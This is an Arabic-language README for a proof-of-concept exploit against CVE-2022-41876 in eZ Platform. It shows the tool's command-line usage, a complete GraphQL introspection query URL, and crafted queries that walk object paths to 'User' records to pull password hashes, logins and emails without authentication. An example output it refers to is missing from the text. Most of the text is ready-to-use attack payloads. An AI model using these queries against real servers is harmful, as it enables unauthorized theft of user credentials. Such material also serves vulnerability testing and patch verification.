
إثبات المفهوم لـ CVE-2022-41876
ظهرت ثغرة في eZ Platform تتيح لمستخدم غير مصادق الوصول إلى تجزئة كلمة مرور كل مساهم. يقوم هذا الإثبات المفاهيمي (PoC) بحصر جميع مسارات GraphQL الممكنة المؤدية إلى كائن 'User'، ثم يطلب هذه المسارات لاسترجاع المعلومات السرية للمستخدمين.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url عنوان الهدف (حدد نقطة نهاية GraphQL)
optional arguments:
-h, --help عرض رسالة المساعدة هذه والخروج
-t, --thread عدد الخيوط
-f FILE, --file FILE المسار المحلي لملف introspection

الخطوات المختلفة التي يتبعها هذا الأداة لاستغلال CVE هي:
الخطوة الأولى لاستغلال هذه الثغرة هي الحصول على ملف introspect.json. إحدى طرق استرجاعه هي استعلام نقطة نهاية GraphQL للخادم باستخدام الحمولة التالية:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
ثم يمكن استخدام JSON الذي يعيده الخادم لاستخراج جميع المسارات إلى كائنات 'User' باستخدام أداة graphql-enum-path كما يلي:

أخيرًا، بعد العثور على جميع المسارات، يجب صياغة حمولة محددة بهذه الطريقة وإرسالها إلى الخادم:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
حيث تمثل العناصر النصوص بين الأقواس في نتيجة graphql-enum-path (لاحظ أنه يجب إجراء استعلام لكل مسار).
لذا، مع مثال graphql-enum-path أعلاه، ستكون الحمولة الأولى:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
إذا كان الخادم عرضة لهذه الثغرة، فسيستجيب لهذا الاستعلام بملف JSON يحتوي على بيانات مستخدميه.